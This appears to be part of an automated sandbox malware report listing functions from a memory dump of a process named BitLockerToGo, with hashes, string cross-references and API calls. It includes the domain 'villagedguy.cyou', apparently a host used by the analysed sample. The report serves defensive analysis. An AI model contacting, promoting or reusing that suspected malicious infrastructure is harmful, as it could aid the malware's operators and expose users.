String ID: 4$>G$cae`$sfoj$uawh$~ug}
API String ID: 0-40103800
Opcode ID: 1b1787792d23b21b9764f4874d6a9d439f714137f28e82940ea40a2f43e097be
Instruction ID: 0eed4f4956e7e88e46ad646ad5d3584da1fc03cd4ccb8ef5a45b1f39504a9e9b
Opcode Fuzzy Hash: 1b1787792d23b21b9764f4874d6a9d439f714137f28e82940ea40a2f43e097be
Instruction Fuzzy Hash: 9E61017154C3818BD3118F69C49036BFFE1AFA2340F184AADE8C45B392D7798909CB9B

Function 0042C5A0 Relevance: 6.8, Strings: 5, Instructions: 540COMMON

Download Yara Rule

Strings

WS, xrefs: 0042C836
Z[, xrefs: 0042C83E
iW, xrefs: 0042C846
MNOP, xrefs: 0042CD25
MNOP, xrefs: 0042CC54

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP$MNOP$WS$Z[$iW
API String ID: 0-2174644700
Opcode ID: ddec0c380ac517acfa482a69a21ea75a9b3f7248e8c135a75b7ab8a1ee6ed357
Instruction ID: 2e841e770ded7ddd37e7e8edceb96449d2e0203d08f27b8edcd6fcbf8cd919ff
Opcode Fuzzy Hash: ddec0c380ac517acfa482a69a21ea75a9b3f7248e8c135a75b7ab8a1ee6ed357
Instruction Fuzzy Hash: F112CDB4608340CFE324CF25D88176FBBE1FB86304F54892DE5899B251EB799809CB96

Function 00430280 Relevance: 5.6, Strings: 4, Instructions: 562COMMON

Download Yara Rule

Strings

qC, xrefs: 00430944
/U, xrefs: 00430340
r, xrefs: 00430347
MNOP, xrefs: 00430910, 00430518, 00430525

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: /U$MNOP$qC$r
API String ID: 0-3206768514
Opcode ID: 3537189cdea41c90d15e821171f8afb36a41bcdc7f0f1f8578abd451b47cf2a5
Instruction ID: 15317c2b67b06c9588edd17e9d89352afcab9f8ddcd52107280e1c02b600b630
Opcode Fuzzy Hash: 3537189cdea41c90d15e821171f8afb36a41bcdc7f0f1f8578abd451b47cf2a5
Instruction Fuzzy Hash: 6312257550C380DFC3048F2898A166FBBE2AF99314F189A6DF4D5873A2C739D905CB5A

Function 00438BF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00438C39
GetSystemMetrics.USER32 ref: 00438C4C

Strings

, xrefs: 00438D3C

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 3e1c03df17c1fed9ce7e26bf23ba8afee7171c343c2eaae075f166e9d044eff2
Instruction ID: f0566bba41c27eb8cdf32f8d29e862bd84efc57d896874c1dd1a7d1f40a3107a
Opcode Fuzzy Hash: 3e1c03df17c1fed9ce7e26bf23ba8afee7171c343c2eaae075f166e9d044eff2
Instruction Fuzzy Hash: 39B17FB810A3848BD3B4DF54C48978FBBE0BF85309F50896ED9995B251D7B8544C8F86

Function 00423E90 Relevance: 4.4, Strings: 3, Instructions: 675COMMON

Download Yara Rule

Strings

MNOP, xrefs: 004240C5
zx, xrefs: 00423F86
MNOP, xrefs: 00424034, 00424044

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP$MNOP$zx
API String ID: 0-3655013995
Opcode ID: de66a204e3f2a304b3f3d4ef51d08d61fa25a3dd1726051d81abdebcb3057646
Instruction ID: 321856d8c7f84413d7627014aa985941360c7ad03aa8f4a648d5f22e12be0329
Opcode Fuzzy Hash: de66a204e3f2a304b3f3d4ef51d08d61fa25a3dd1726051d81abdebcb3057646
Instruction Fuzzy Hash: 3F3224757083509BE730DF15E881BABB7E2EBC4744F54882EE9898B381E7789841CB56

Function 004202C1 Relevance: 4.3, Strings: 3, Instructions: 559COMMON

Download Yara Rule

Strings

MNOP, xrefs: 00420860
uB, xrefs: 0042094A
MNOP, xrefs: 0042033F

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: MNOP$MNOP$uB
API String ID: 2994545307-1542835258
Opcode ID: 431241ef4b3c1d1b5e8a08b224de91a2f83affc30f322022e8a68d4e05fee315
Instruction ID: cc9cb857e5cf7ac4a553318d6eeeaad38e1f3c4e5b4f88ee06e21b461ca5caa2
Opcode Fuzzy Hash: 431241ef4b3c1d1b5e8a08b224de91a2f83affc30f322022e8a68d4e05fee315
Instruction Fuzzy Hash: 3EF14036B143608BE324DF24E890B6B73D3ABD4301F698A2DD98597353E778DC418B96

Function 00424B50 Relevance: 4.2, Strings: 3, Instructions: 465COMMON

Download Yara Rule

Strings

X, xrefs: 00424D75
hxjw, xrefs: 00424E65
)641, xrefs: 0042503A

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )641$X$hxjw
API String ID: 0-3547115419
Opcode ID: fb613edcf8c060b9de73b57934339f11fcee25f3a2b76cb9bd02c217791f9776
Instruction ID: 6c83c6b268e6d71724dc77d9fcbd8c094540905710322347e155282233bd9018
Opcode Fuzzy Hash: fb613edcf8c060b9de73b57934339f11fcee25f3a2b76cb9bd02c217791f9776
Instruction Fuzzy Hash: 3EE11B75A09350ABE310DF25DC41BABBBE5DFC5708F04882EF88997391D638D9058B97

Function 00446F80 Relevance: 4.1, Strings: 3, Instructions: 364COMMON

Download Yara Rule

Strings

"rD, xrefs: 00447212
3fa, xrefs: 00446F8E
bpD, xrefs: 00447059

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "rD$3fa$bpD
API String ID: 0-1262108915
Opcode ID: 2a8a51890aaa34771e10f51c2cdda0cc3b12809cd2405160337c49134f0a8806
Instruction ID: 13244d16c211bb2bcad218a3c81ced2cb02ffc49be0db0752046de5e5c6aa462
Opcode Fuzzy Hash: 2a8a51890aaa34771e10f51c2cdda0cc3b12809cd2405160337c49134f0a8806
Instruction Fuzzy Hash: 1BB1DD36608311CFD718CF28E99026AB7E2EBCA315F19897EE48687392D774DC02CB45

Function 0042E343 Relevance: 4.0, Strings: 3, Instructions: 269COMMON

Download Yara Rule

Strings

O4L7, xrefs: 0042E3D0
#L\R, xrefs: 0042E3A8
,\CV, xrefs: 0042E3C0

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: #L\R$,\CV$O4L7
API String ID: 0-3787581059
Opcode ID: a0b4944614542bf3a67a706ec71c8da98a22602492111a164afab445c67177d5
Instruction ID: 6302cf0bee94a5ad652b07018c9a66b50cf7abdea086f3622bd106122652f469
Opcode Fuzzy Hash: a0b4944614542bf3a67a706ec71c8da98a22602492111a164afab445c67177d5
Instruction Fuzzy Hash: 319127B2A087018FC718CF69D89071BB7E2ABC4314F59863DE955CB392DB78D805CB85

Function 0042E9BD Relevance: 4.0, Strings: 3, Instructions: 244COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0042EE28
B, xrefs: 0042EDE4
MNOP, xrefs: 0042EE45, 0042EE60

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP$MNOP$B
API String ID: 0-2013082597
Opcode ID: 080050fa7587acd1f775651b2bd02c6b12d03c12fcd785cb6d4a9dfab969163c
Instruction ID: 427106f293819a470450e0932dc21dc8bd031f23ee4c1c387aa55c50c85ec932
Opcode Fuzzy Hash: 080050fa7587acd1f775651b2bd02c6b12d03c12fcd785cb6d4a9dfab969163c
Instruction Fuzzy Hash: 8181AA75A08341CFD728CF15E89172FBBE2BBC8304F15896DE4995B3A1C7788905CB8A

Function 0042D621 Relevance: 3.0, Strings: 2, Instructions: 539COMMON

Download Yara Rule

Strings

2B, xrefs: 0042EB23
<=, xrefs: 0042DD56

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 2B$<=
API String ID: 0-1898675190
Opcode ID: 71a5038b86cab153bf550eff5ef4d684302044054bd1ddd42832d1e36cc30579
Instruction ID: c902f626a9b2f13d1863b0adeac4f1cac601c152034ac004fa58715ea0083c5e
Opcode Fuzzy Hash: 71a5038b86cab153bf550eff5ef4d684302044054bd1ddd42832d1e36cc30579
Instruction Fuzzy Hash: 8EF126B5A083518FD714CF24E85166BBBE1AFDA304F58886EE4C597342D33CD909CB5A

Function 004293D0 Relevance: 2.9, Strings: 2, Instructions: 435COMMON

Download Yara Rule

Strings

, xrefs: 00429646
MNOP, xrefs: 004297E1

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP$
API String ID: 0-2323356958
Opcode ID: acb73d4741fa7ff19f24c221892feda4fa04e8f1d9badb7c6a748042e386b80c
Instruction ID: b6dfaf9e55cd36c7b9c46e181ae13ac35b13c4755dd509cd8cc4a280139a5cd8
Opcode Fuzzy Hash: acb73d4741fa7ff19f24c221892feda4fa04e8f1d9badb7c6a748042e386b80c
Instruction Fuzzy Hash: 29B11571A083219BD7109F24D85276BB3E1EF92354F49892DE8D59B381E33CDD05C35A

Function 00423ABE Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

nGFA, xrefs: 00423BE6, 00423C90, 00423C70, 00423B90
IJK, xrefs: 00423C56

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: nGFA$IJK
API String ID: 0-1749064823
Opcode ID: 32ca8b0045ce1c4e5cc0fab50190c03de2ed0d81290e2cc004ad6fc4b2267251
Instruction ID: 21d745270b471f1d4c01b6df011f032facef380b6dec7a8f7277d613ea3c0f42
Opcode Fuzzy Hash: 32ca8b0045ce1c4e5cc0fab50190c03de2ed0d81290e2cc004ad6fc4b2267251
Instruction Fuzzy Hash: C86104B1A0836187D7049F25D85132BBBF1AF92315F58886DE4C55B391E33DCA05C79A

Function 00423AD1 Relevance: 2.7, Strings: 2, Instructions: 227COMMON

Download Yara Rule

Strings

nGFA, xrefs: 00423BE6, 00423C90, 00423C70, 00423B90
IJK, xrefs: 00423C56

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: nGFA$IJK
API String ID: 0-1749064823
Opcode ID: e73a2807429df7b1cf928445aa40c9891d0ef5a7944cfa731405fd7e9330edba
Instruction ID: f90c9582e09deafeb7b9d3ee4e8ee34dfd224ea527017794ff2a400d7b586160
Opcode Fuzzy Hash: e73a2807429df7b1cf928445aa40c9891d0ef5a7944cfa731405fd7e9330edba
Instruction Fuzzy Hash: 0C5114B1A0836187C7049F25D85232BBBF1AF92315F58886DE4C59B395E33DCA05C79A

Function 00441EA0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

uxVd, xrefs: 00441FF0
MNOP, xrefs: 00441F90

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP$uxVd
API String ID: 0-3748827735
Opcode ID: 3ce69d8cfed16dda00176407c52470a24fa2c3a1029f26bb4b6623db9ed90d46
Instruction ID: f33051061eddafaf0435789cc0bde659aa8a6e4772a0d0252a87f7e630da701a
Opcode Fuzzy Hash: 3ce69d8cfed16dda00176407c52470a24fa2c3a1029f26bb4b6623db9ed90d46
Instruction Fuzzy Hash: 44414936604305ABEB24CF50DC81A6BB7E2EB84345F18842EF98583361E739DC95CB56

Function 00430A1E Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

MNOP, xrefs: 004309D5
MNOP, xrefs: 00430A45

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP$MNOP
API String ID: 0-1891600022
Opcode ID: 7cff2fdadd37ce41135831ed0d1d104eda16a9ad87060848c7aee7f8be36cd33
Instruction ID: 8284e26e75838f04d631bc8381044ea656cccf46fe6b2abe2970d53498321b1a
Opcode Fuzzy Hash: 7cff2fdadd37ce41135831ed0d1d104eda16a9ad87060848c7aee7f8be36cd33
Instruction Fuzzy Hash: 7D11D3742183408BD3598B2490A173FB7A1AF9A725F64771ED4D217352C338CC078B8A

Function 0042EE18 Relevance: 2.5, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0042EE28
MNOP, xrefs: 0042EE45, 0042EE60

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP$MNOP
API String ID: 0-1891600022
Opcode ID: 7d3f96c1c78b8e52bc291fedaea7e954ff11efa6c3e3de2fd2e65b9a40faa164
Instruction ID: 439d2e5539f73d91c69a3b3c8f5523551d8645751e1aefbde30932ea6b38cdf0
Opcode Fuzzy Hash: 7d3f96c1c78b8e52bc291fedaea7e954ff11efa6c3e3de2fd2e65b9a40faa164
Instruction Fuzzy Hash: 18F081307083508BD718CF15949162FB3E2ABCA725F599A2DD8A113762C778DC06C78A

Function 00429170 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0044AA60,00000000,00000001,0044AA50), ref: 00429199

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: b99b672fa0d1a0791a3e0b1aa2a04533db7b2d58bb39140e5c5c234f5807f35f
Instruction ID: 861df7cfd0ec1d8353c48d681c409214712c1da7751210e01cd4dba012062f5e
Opcode Fuzzy Hash: b99b672fa0d1a0791a3e0b1aa2a04533db7b2d58bb39140e5c5c234f5807f35f
Instruction Fuzzy Hash: 7351D0B0740224ABDB20DF64DC86BB773A4EF85358F484959F9858B391E379EC05C72A

Function 0042BABB Relevance: 1.7, Strings: 1, Instructions: 438COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0042BF08

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: 254c08e4fc0af992e87096fdd0965cb0027b107f1de24035e27f8b1a4472a697
Instruction ID: d9b913763cde8ab17407b7b613ecdb6cd3e0a9648c947809f0fffd656cc1c9d0
Opcode Fuzzy Hash: 254c08e4fc0af992e87096fdd0965cb0027b107f1de24035e27f8b1a4472a697
Instruction Fuzzy Hash: 1ED11A76E10225CBCB14CF69D8805FFB7B2FF99750B5A805AD851AB351EB389C02CB94

Function 00442AB0 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

MNOP, xrefs: 00442CC0

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: MNOP
API String ID: 2994545307-783613192
Opcode ID: 20cff1a09187d80d78f333ffd54a583299aa65ebedb1aa3fa9d58431950b325b
Instruction ID: 47f6a540994abda0ca95af1d4d8400089509cea07912db9806ada367cd1df040
Opcode Fuzzy Hash: 20cff1a09187d80d78f333ffd54a583299aa65ebedb1aa3fa9d58431950b325b
Instruction Fuzzy Hash: B071F471A083519BE724DE14C99072FB7E2ABC4310F58892EF5D587391D7B9DC418B8A

Function 0042C2D0 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

^gPa, xrefs: 0042C4D2

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ^gPa
API String ID: 0-3338696370
Opcode ID: 3fa0d9d744f4436786475589ad33c25d082095f5f124f09c08b6816f13a77364
Instruction ID: cfc53848df0636c6e94bbd6cbcea6e1b620f617224d22baaa1d7e80c890d0e2e
Opcode Fuzzy Hash: 3fa0d9d744f4436786475589ad33c25d082095f5f124f09c08b6816f13a77364
Instruction Fuzzy Hash: 9561F1B1A083108BC710DF29E88166BBBF0FF92358F548A1DE5D54B391E379C508CB8A

Function 0042C5E2 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

GlTf, xrefs: 0042CF6D

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: GlTf
API String ID: 0-474796513
Opcode ID: 2744b3095d9331d2d04f4965c2a23c01c5bee9fa425fc6daf1bc987e0f4e2324
Instruction ID: 74236ba9b3cc0a08cc7b30631b95950895f961cd6357d48f1186514dadc75d39
Opcode Fuzzy Hash: 2744b3095d9331d2d04f4965c2a23c01c5bee9fa425fc6daf1bc987e0f4e2324
Instruction Fuzzy Hash: 78518F217483608EC7208B2894C02ABBBD3DF96390F8E467BD5910B3D6D33D890DD399

Function 0042F221 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0042F265

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: d70cf771bb6948a5b131557e404139c602a0556bf47dfb866429cda241d115a6
Instruction ID: 93aec46a1ed4ed383512bcc5e4c122afa6c5bbd32670e5a8da2dae97cf3d04b7
Opcode Fuzzy Hash: d70cf771bb6948a5b131557e404139c602a0556bf47dfb866429cda241d115a6
Instruction Fuzzy Hash: 5611D638B02220DBCF28CF94B89177E7372EB06B55FE450BDE80127212C7669D068B5C

Function 00430991 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

MNOP, xrefs: 004309D5

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: b41f2ee70218142b522e4924884a307dd4c290964df95a35abad5bc98069a258
Instruction ID: 48c650eff71184f3e55c5af46ee2342b2f9423c61d45832d47eea70e80801630
Opcode Fuzzy Hash: b41f2ee70218142b522e4924884a307dd4c290964df95a35abad5bc98069a258
Instruction Fuzzy Hash: 4B112B75604300EBD7185B14A8A1B3F7362FB59716F54772EE85213253C379C802CB8E

Function 0042EF36 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0042EF65

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: 1a43a43b2f3dc0f6071f364d717c6c612f66006a932fc4894e642f3eb89a6f32
Instruction ID: f52fc4fee7d4c401a98e41dc206cb85056432fe1198f9fa9d842320524490bb3
Opcode Fuzzy Hash: 1a43a43b2f3dc0f6071f364d717c6c612f66006a932fc4894e642f3eb89a6f32
Instruction Fuzzy Hash: 1F014730704350EBD7288F11AA5173F7392BBC671AF55492DE48127B82C378C801878A

Function 0040F39C Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

villagedguy.cyou, xrefs: 0040F3A7, 0040F3C3

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: villagedguy.cyou
API String ID: 0-472080494
Opcode ID: ad180c49b8e67a77647949eb261cd3a3771dc2d290259a89548967df233e1282
Instruction ID: e2342cbf2de96edc5457a879679271ee1ad9e8d7e4fc9f35044ddc2c6406840f
Opcode Fuzzy Hash: ad180c49b8e67a77647949eb261cd3a3771dc2d290259a89548967df233e1282
Instruction Fuzzy Hash: 25E04FA595511086C3684F04C9A1173B270FF23355718383BECC6AB7A1F2789804C39D

Function 00409602 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525e470eb9cfcfce4e6792d1b173326834ffe4469737fbfc6aa4b07063161c37
Instruction ID: 27c6a332ff83b37ab2b545a79f61b65a4de86583289330a373b1913817e4a747
Opcode Fuzzy Hash: 525e470eb9cfcfce4e6792d1b173326834ffe4469737fbfc6aa4b07063161c37
Instruction Fuzzy Hash: A0F1CD3A609201CFD748CF28D8A076A77E2BBC9324F19893DE85A97391D734ED45CB85

Function 0040A8F0 Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b52666819d2965ad0bc47dc74526e1040d1e10e9667a4627c7b2d62442516e1
Instruction ID: cf766477efaa56cb24f6b912050b9a56b51fd79d3fc9e9d4a353c9d3bf7f653f
Opcode Fuzzy Hash: 4b52666819d2965ad0bc47dc74526e1040d1e10e9667a4627c7b2d62442516e1
Instruction Fuzzy Hash: EFF1CC712087418FC724CF29C980A2BFBE2EF95304F04892EE5D957791E275E958CB9B

Function 00441770 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 89b5b4b29dc0531f6a8ac2e7f08f644eb048f770bd66c2e9d1babd8299ed27e9
Instruction ID: b3f1b0fec4a6767989cf80c65b08afcc8272fd86bc25c9765320da8a13a74187
Opcode Fuzzy Hash: 89b5b4b29dc0531f6a8ac2e7f08f644eb048f770bd66c2e9d1babd8299ed27e9
Instruction Fuzzy Hash: 59513872B083008FE7189E28DC9176BB7D2EBD5354F19C92EE49587361D738D841C786

Function 00405DF0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231db6bcaeac71daac8feb54fb16dcd8dc8b43626ccb9b10ac63ee1ab065d202
Instruction ID: 8f246e5cd2c8da90c715cd24b1d559549da8667182c15212baa1ccd6d6bf01fe
Opcode Fuzzy Hash: 231db6bcaeac71daac8feb54fb16dcd8dc8b43626ccb9b10ac63ee1ab065d202
Instruction Fuzzy Hash: 9851C1749046019FC714DF14C880927B7A1FF89368F15467EF899AB392DA39EC42CF9A

Function 00404D40 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edd2b7b0831ca3fec54a0d4e73314f1c751f972e77800cc2f30b40c87ed08e5c
Instruction ID: 92c31edd3a2aaa43d98f7409f3dc6e90c9de5b7e8cd5bcdb0fef97f6dedefdd9
Opcode Fuzzy Hash: edd2b7b0831ca3fec54a0d4e73314f1c751f972e77800cc2f30b40c87ed08e5c
Instruction Fuzzy Hash: 5331CAB16142019BD7159E59C88092BB7E1EFC8318F18893EE999EB3C1D739DC52CB4A

Function 0043AC20 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: a0e5f51a23aeda5538425fd11c967d5151d1bbe88b007a96606e2b184ab1ea98
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: B211E933A451D40FC3168D3C8440575BFA30AE7634F1DA39AF4F49B2D2D62B8D8A835A

Function 00430E70 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54cf0d7eb44159eb5cad9756730d732e7342f18c2b21a364de4663e69d8e7b3e
Instruction ID: d1ff25ca70ce556d1194ab235fd7d7d4837c7f84478faa715aa100623d9e17a7
Opcode Fuzzy Hash: 54cf0d7eb44159eb5cad9756730d732e7342f18c2b21a364de4663e69d8e7b3e
Instruction Fuzzy Hash: BB0188F1B0030157D720AE6594D2B37B2A99F98708F185A3ED50867342DB7DEC09C799

Function 0043FCD0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
